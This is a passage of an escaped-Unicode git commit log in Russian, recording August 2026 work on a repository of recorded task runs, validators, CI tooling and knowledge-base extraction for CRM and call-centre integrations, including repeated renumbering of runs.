\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0425\u0430\u0431\u0430 (pr-ops/, ai-rules/, docs/rfc/, docs/audit/, standards/) \u2014 issue #265\\n2ac3409 2026-08-18 docs: \u0441\u0432\u0435\u0440\u043a\u0430 \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0430 \u0441 T-00 \u0438 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0440\u0435\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0437\u0430\u0446\u0438\u0438 (issue #265)\\ne5e84d0 2026-08-21 feat: \u0430\u043a\u0442\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f onboarding-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0434\u043e v1.5 \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0425\u0430\u0431\u0430 (issue #267)\\nfcd7ec0 2026-08-21 feat(runs): \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 (BCREQ-1059, \u043b\u0438\u043c\u0438\u0442\u044b \u0438 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u044b \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439)\\n00a1960 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 (\u0437\u0430\u0434\u0430\u0447\u0430 1075, amoCRM) \u2014 issue #269\\nd67d921 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 (\u0437\u0430\u0434\u0430\u0447\u0430 1076, \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0412\u041a\u0421 \u2192 BPMSoft) \u2014 issue #270\\n6db5ad1 2026-08-21 runs: \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c inputs RUN-0013 (\u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u0430 1079, \u0432\u0445\u043e\u0434 \u0424\u0422 v1.0, \u0432\u044b\u0436\u0438\u043c\u043a\u0430 \u0444\u0430\u043a\u0442\u043e\u0432 \u0411\u0417) \u2014 issue #271\\nc52e553 2026-08-21 feat: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 \u043f\u043e \u043a\u0435\u0439\u0441\u0443 1064 (issue #272)\\n2e40029 2026-08-21 runs: \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c outputs, feedback, logs \u0438 metadata RUN-0013 \u2014 issue #271\\n5d70a60 2026-08-21 docs: \u0440\u0435\u0435\u0441\u0442\u0440 runs, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 metrics \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0434\u043b\u044f RUN-0013 (issue #271)\\n60b63d2 2026-08-21 runs: \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 \u2192 RUN-0014 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 main)\\n60553dd 2026-08-21 runs: \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 \u2192 RUN-0014 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 main)\\n0dd5154 2026-08-21 docs(audit): \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0440\u0438\u0447\u0438\u043d \u0434\u0440\u0435\u0439\u0444\u0430 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (issue #291)\\n424e8cc 2026-08-21 chore(experiments): \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u0438 (issue #291)\\n091c768 2026-08-21 refactor(structure): \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u0440\u0435\u043d\u044c \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u0430\u0440\u0445\u0438\u0432 (issue #291)\\n2a3abcd 2026-08-21 test(structure): \u0437\u0430\u043c\u043e\u043a \u043d\u0430 \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 HTOM-\u043a\u043e\u043c\u0430\u043d\u0434\u044b (issue #291)\\ncaa2209 2026-08-21 docs: CHANGELOG 0.5 \u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0433\u0435\u043d\u043e\u043c\u0430 \u0432 \u0425\u0430\u0431 (issue #291)\\nd2ae9d7 2026-08-21 chore: \u0443\u0431\u0440\u0430\u0442\u044c \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0439 .gitkeep \u0438\u0437 \u043a\u043e\u0440\u043d\u044f\\n798a5d3 2026-08-21 runs: RUN-0013 \u2192 RUN-0017, \u043e\u0442\u043a\u0430\u0442 site/data, \u0430\u0443\u0434\u0438\u0442 \u0433\u0440\u0430\u043d\u0438\u0446 \u0437\u0430\u0434\u0430\u0447\u0438 \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d (issue #270)\\ndb54905 2026-08-21 runs: \u044f\u0432\u043d\u043e\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0442\u0438\u043f\u043e\u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 (issue #293)\\nf5577fd 2026-08-21 docs: \u043f\u043e\u043c\u0435\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0435\u0440\u044b \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0430 \u0447\u0430\u0442\u0430 \u043a\u0430\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 (issue #270)\\n2e1065f 2026-08-21 runs: \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0432\u044b\u0431\u043e\u0440\u0430 \u0442\u0438\u043f\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0437\u0430\u0434\u0430\u0447\u0438, \u0440\u0435\u0432\u0438\u0437\u0438\u044f \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0438 (issue #293)\\nd10f42b 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 \u2192 RUN-0018 \u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u0442\u044c site/data (issue #271)\\ncc053c8 2026-08-21 refactor: \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 \u2192 RUN-0019 \u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u0442\u044c site/data (issue #272)\\n9c51f1c 2026-08-21 runs: RUN-0020 \u2014 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430 1065 (\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u041e\u041e\u041e \u00ab\u04107-\u0410\u00bb), run_type: statistics (issue #273)\\n914641f 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d 975 \u043a\u0430\u043a RUN-0020 (issue #274)\\n9905f26 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0020 \u2192 RUN-0021 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 upstream/main)\\na78ea2b 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 765 \u043a\u0430\u043a RUN-0021 (issue #276)\\nbe22ef2 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0021 \u043f\u043e \u0437\u0430\u0434\u0430\u0447\u0435 1040 (issue #275)\\n8d530dd 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0021 \u2192 RUN-0022 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 main \u0438 PR #297)\\n5561ef4 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d 765 RUN-0021 \u2192 RUN-0022 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 upstream/main, PR #296)\\n109404f 2026-08-21 runs: RUN-0021 \u2014 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430 59295 (\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0424\u0422 \u00ab\u041f\u0435\u0440\u0435\u0441\u043b\u0430\u0442\u044c\u00bb \u0432 e-mail-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0438), run_type: statistics (issue #278)\\n4bc947d 2026-08-21 merge: \u0432\u043b\u0438\u0442\u044c upstream/main \u0432 \u0432\u0435\u0442\u043a\u0443 issue #276 (\u043f\u0440\u043e\u0433\u043e\u043d 765 \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d RUN-0021 \u2192 RUN-0022)\\n2d4324b 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0021 \u2192 RUN-0023 (\u043d\u043e\u043c\u0435\u0440\u0430 0021/0022 \u0437\u0430\u043d\u044f\u0442\u044b \u0432 main \u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 PR)\\n2d9e0f1 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 1020 (RUN-0021) \u043a\u0430\u043a statistics \u2014 issue #277\\n9930874 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0021 \u2192 RUN-0023 (RUN-0021 \u0437\u0430\u043d\u044f\u0442 \u0432 main) \u2014 issue #277\\n05d2ce8 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0022 \u2192 RUN-0023 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 main, PR #297)\\n8ccf6ec 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0023 \u2192 RUN-0024 (RUN-0023 \u0437\u0430\u043d\u044f\u0442 \u0432 main) \u2014 issue #277\\n101acbe 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0023 \u2192 RUN-0024 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 main, PR #301, \u0438 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c PR #300)\\na79c34b 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0024 \u2192 RUN-0025 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 main, PR #300)\\n24e2080 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d 997 \u043a\u0430\u043a RUN-0022 (issue #280)\\nf6dcd27 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d 58093 \u043a\u0430\u043a RUN-0024 (issue #281)\\n738457a 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0022 \u2192 RUN-0025 (RUN-0022..0024 \u0437\u0430\u043d\u044f\u0442\u044b \u0432 main) \u2014 issue #280\\nfd9fb7f 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c RUN-0024 \u2192 RUN-0026 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 upstream/main)\\nb63da8e 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 994 \u043a\u0430\u043a RUN-0026 (issue #279)\\nfc2aa75 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d RUN-0015 \u043f\u043e \u0437\u0430\u0434\u0430\u0447\u0435 57204 (issue #282)\\n9e5f5c5 2026-08-21 runs: \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c RUN-0015 \u0432 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e run_type (issue #282)\\ncb29007 2026-08-21 chore: \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u043b\u043e\u0433\u0438 CI (ci-logs/)\\n6979106 2026-08-21 fix: \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 validate_issue_123_runs_contract.py \u043f\u043e\u0441\u043b\u0435 \u043c\u0435\u0440\u0436\u0430 (issue #272)\\n5f2374d 2026-08-21 chore: \u0443\u0431\u0440\u0430\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b CI \u0438\u0437 \u0434\u0438\u0444\u0444\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (issue #272)\\nc361a47 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d 1007 (RUN-0026) \u2014 \u0424\u0422 \u043d\u0430 \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0421\u0434\u0435\u043b\u043a\u0438 \u0432 \u0410\u041c\u041e CRM \u043f\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u043c\u0443 \u0434\u043e\u0437\u0432\u043e\u043d\u0443\\n2b1c826 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d 978 \u043a\u0430\u043a RUN-0027 (issue #284)\\n53f4a34 2026-08-21 runs: \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0447\u0430\u0442\u0430 978 \u0432 inputs/ RUN-0027\\n95824ff 2026-08-21 tools: \u0438\u043d\u043a\u0440\u0435\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0430\u043d\u043d\u0435\u0440 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u0432 \u0441 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (issue #299)\\nc45aef3 2026-08-22 tools: \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u043c\u0435\u0441\u0442\u043e \u0445\u0430\u0440\u0434\u043a\u043e\u0434\u043d\u044b\u0445 \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u0432 (issue #299)\\n7b8bc41 2026-08-22 tools: \u0434\u0432\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432 Makefile \u0438 \u0435\u0434\u0438\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430 \u0432 CI (issue #299)\\n9438b67 2026-08-22 tools: \u0443\u0441\u043a\u043e\u0440\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441\u0441\u044b\u043b\u043e\u043a issue #265 (2.7s \u2192 1.4s) \u2014 issue #299\\nf2df4a6 2026-08-22 docs: \u0430\u043d\u0430\u043b\u0438\u0437 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u0432, tools/README, CONTRIBUTING, CHANGELOG (issue #299)\\nd795f46 2026-08-22 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0025 \u2192 RUN-0028 (\u043d\u043e\u043c\u0435\u0440\u0430 0025-0027 \u0437\u0430\u043d\u044f\u0442\u044b \u0432 main)\\n5e8e026 2026-08-22 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d 994 \u0432 RUN-0029 (\u043d\u043e\u043c\u0435\u0440\u0430 0026-0028 \u0437\u0430\u043d\u044f\u0442\u044b \u0432 main)\\ne2e2200 2026-08-22 runs: \u0430\u043a\u0442\u0443\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u0442\u0443 \u0440\u0435\u0435\u0441\u0442\u0440\u0430 runs/README.md\\n7cfde0b 2026-08-22 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c RUN-0026 \u2192 RUN-0029 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 upstream/main)\\n590ebfc 2026-08-22 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c RUN-0029 \u2192 RUN-0016 (\u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u043d\u043e\u043c\u0435\u0440-\u043f\u0440\u043e\u0431\u0435\u043b, \u043d\u0435 \u043a\u043e\u043d\u043a\u0443\u0440\u0438\u0440\u0443\u0435\u0442 \u0441 upstream)\\nd121141 2026-08-22 refactor: \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0438\u0437 \u043a\u043e\u0440\u043d\u044f \u0432 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u043e\u043c\u0430 ai-governance/ + ai-rules/ (issue #291, RFC #532 \u0425\u0430\u0431\u0430)\\n3643c05 2026-08-22 refactor(structure): \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0442\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0432 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u043e\u043c\u0430 (issue #291)\\n946e605 2026-08-22 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c 25 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432 \u0447\u0430\u0442\u043e\u0432 \u0438\u0437 issue #309 \u043a\u0430\u043a \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 RUN-0030\u2014RUN-0054\\nae187ca 2026-08-22 kb: \u0438\u0437\u0432\u043b\u0435\u0447\u044c 4 PDF \u0438\u0437 issue #310 \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445\\nfe5d53a 2026-08-22 kb: \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0443\u044e \u0444\u0438\u043a\u0441\u0442\u0443\u0440\u0443, \u043e\u0442\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u043e\u0442 Git LFS \u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 #310\\nf89d769 2026-08-23 feat(runs): RUN-0055 \u2014 \u043e\u0446\u0435\u043d\u043a\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0417 Utair.Chat \u2194 Mango Office\\n45a2a17 2026-08-25 feat(runs): RUN-0056 \u2014 gap-\u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0447\u0430\u0442\u043e\u0432 HH.ru \u0441 \u041a\u0426 Mango Office\\n8cd3ec0 2026-08-25 feat(kb): #317 \u2014 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0411\u0417 + \u0440\u0435\u0432\u0438\u0437\u0438\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b kb/\\nf81562f 2026-08-25 chore(kb): #317 \u2014 \u0443\u0431\u0440\u0430\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430 RUN-0056 \u043f\u043e \u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\\n729614c 2026-08-25 fix(kb): #317 \u2014 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u0430 \u0447\u0430\u043d\u043a\u043e\u0432 \u041a\u0426 \u043f\u043e\u0441\u043b\u0435 \u0441\u043b\u0438\u044f\u043d\u0438\u044f main\\n18c5af0 2026-08-25 chore(kb): #320 \u2014 \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u044b \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0411\u0417\\n9bc13ef 2026-08-25 feat(kb): #320 \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 1\u0421, amoCRM, \u0411\u0438\u0442\u0440\u0438\u043a\u044124, BPMSoft, SIP Trunk\\n74262dc 2026-08-25 feat(kb): #320 \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u00ab\u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430\u00bb v1.26.18\\n1a8841c 2026-08-25 feat(kb): #320 \u2014 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442 \u00ab\u0420\u0435\u0447\u0435\u0432\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb \u0438 \u043f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0439\\n3a47a5b 2026-08-25 docs(kb): #320 \u2014 \u0440\u0435\u0435\u0441\u0442\u0440 \u0411\u0417, \u0440\u0435\u0432\u0438\u0437\u0438\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 CHANGELOG\\n116dfe9 2026-08-25 feat(runs): #319 \u2014 RUN-0057, \u043e\u0446\u0435\u043d\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0417 (\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2116 1\u20134)\\na38eb92 2026-08-25 feat(runs): #319 \u2014 L0 (\u0434\u043e\u0441\u043b\u043e\u0432\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0430 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430) \u0438 L4 (\u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043f\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c)\\n18da75c 2026-08-26 chore: remove PR placeholder .gitkeep (issue #273 already fixed by RUN-0020)\\n437757c 2026-08-26 fix(runs): #273 \u2014 \u0443\u0431\u0440\u0430\u043d \u0434\u0443\u0431\u043b\u044c \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 + \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\\n37bb44a 2026-08-26 feat(templates): #323 \u2014 \u0434\u0432\u0430 Issue Forms \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 runs + \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\\n2f37678 2026-08-26 feat(RUN-0057): #325 \u2014 L0 \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0451\u043d \u043d\u0430 \u0448\u0435\u0441\u0442\u044c 